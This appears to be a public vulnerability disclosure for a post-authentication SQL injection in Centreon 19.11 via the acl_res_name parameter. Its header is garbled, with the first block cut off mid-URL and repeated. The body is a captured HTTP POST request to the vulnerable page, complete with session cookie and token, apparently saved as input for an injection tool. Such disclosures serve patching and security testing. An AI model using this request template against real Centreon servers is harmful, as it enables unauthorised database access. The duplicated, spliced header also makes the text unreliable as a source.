# Title: Postauth SQL injection in Centreon 19.11 (param: acl_res_name)
# Date: 03.04.2020
# Vendor: https://www.centreon.com/
# Vulnerable software: https://download.centreon.com/index # Title: Postauth SQL injection in Centreon 19.11 (param: acl_res_name)
# Date: 03.04.2020
# Vendor: https://www.centreon.com/
# Vulnerable software: https://download.centreon.com/index.php?product=19.10&action=ask&id=5074
# Repo: https://github.com/c610/free/



c@kali:~$ cat cent.sqli
POST /centreon/main.get.php?p=50202 HTTP/1.1
Host: 192.168.1.10
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: pl,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 230
Origin: http://192.168.1.10
Connection: close
Referer: http://192.168.1.10/centreon/main.get.php?p=50202&o=a
Cookie: PHPSESSID=6km8idfodii87rc4sf7fkk3vbc
Upgrade-Insecure-Requests: 1

acl_res_name=zzzzzzzzzzz&acl_res_alias=zzzzzzzzzzzzzzz&acl_groups%5B%5D=1&acl_res_activate%5Bacl_res_activate%5D=1&acl_res_comment=zzzzzzzzzzzzzzzz&submitA=Save&acl_res_id=&o=a&centreon_token=65d869345b76c6cd66d4980a97d28298
c@kali:~$